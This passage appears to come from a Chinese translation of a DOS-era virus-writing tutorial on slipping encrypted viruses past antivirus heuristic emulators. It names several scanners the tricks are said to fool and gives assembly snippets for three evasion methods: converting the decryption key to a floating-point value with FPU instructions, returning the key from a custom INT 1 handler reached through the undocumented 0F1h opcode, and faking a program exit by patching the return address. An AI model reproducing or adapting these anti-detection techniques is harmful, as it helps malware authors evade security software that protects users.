这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得，这并不能运行于现在的处理器上)。
　　2 通过FPU 的手段：
　　我非常喜欢用欺骗方式，因为相对于大多数的有效手段来说，这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启发式扫描器不能仿真浮点指令。很明显，AVs考虑的是病毒程序运行是不需要FPU指令的。好了，让我们证明他们的想法是错误的。我们将要做的是，在加密完成后，通过浮点数来转换密钥，解密时再将它转换成整数。
　　
      ; AFTER ENCRYPTION:
　　mov decrypt_key, key ;save key into integer variable
　　fild decrypt_key ;load integer key into FPU and store
　　fstp decrypt_float_key ;it back as floating point number
　　mov decrypt_key, 0 ;destroy the key (very important!)
　　; BEFORE DECRYPTION:
　　fld decrypt_float_key ;load the key as floating point number　　正向我前面所说的，这一手段非常容易且极端有效，但如果你使用它，也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时，他将崩溃。
　　3 通过INT 1 的手段 ：
　　前文已经提到，如果CPU的陷阱标志被设置，那么任何指令执行后，int 1 中断都会被调用。 我也可以通过手工的调用的int 1 中断来达到我们的目的。int 1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1(0F1h)中断后，这样反而是非常奇怪的，尽管这是未公开文档化的。但是"not documented"的意思也应该是"not emulated by AVs"。所有我们将这样做：我们设置一个我们自己的INT 1 中断的handler，同时调用”not doumented“ 的opcode 0F1h，返回解密密钥 。AVs 将没有办法知道解密密钥是什么。
　　
      mov ax, 3501h ;get int vector 1, so we can restore it later
　　int 21h ;not really necessary, but a little bit saver
　　mov int1_segm, es
　　mov int1_offs, bx
　　mov ax, 2501h ;set int vector 1 to our own routine
　　mov dx, offset int1_handler ;we assume DS=CS
　　int 21h
　　db 0F1h ;this will call our int 1 handler, which
　　mov decrypt_key, ax ;returns the decryption key
　　mov ax, 2501h ;restore the original int 1 handler
　　mov dx, cs:int1_offs
　　mov ds, cs:int1_segm
　　int 21h
　　[...]
　　int1_handler:
　　mov ax, key
　　iret
　　另外一件好笑的事是，我们可以伪造程序退出，可以这样做：
　　[...]
　　db 0F1h ;calls our int 1 handler (see above);
　　mov ax, 4c00h ;quit program
　　int 21h ;but... this code is never reached... ;-)
　　[...]
　　int1_handler:
　　mov bx, sp ;modify return address, so the quit command
　　add word ptr ss:[bx], 5 ;is never executed.
　　iret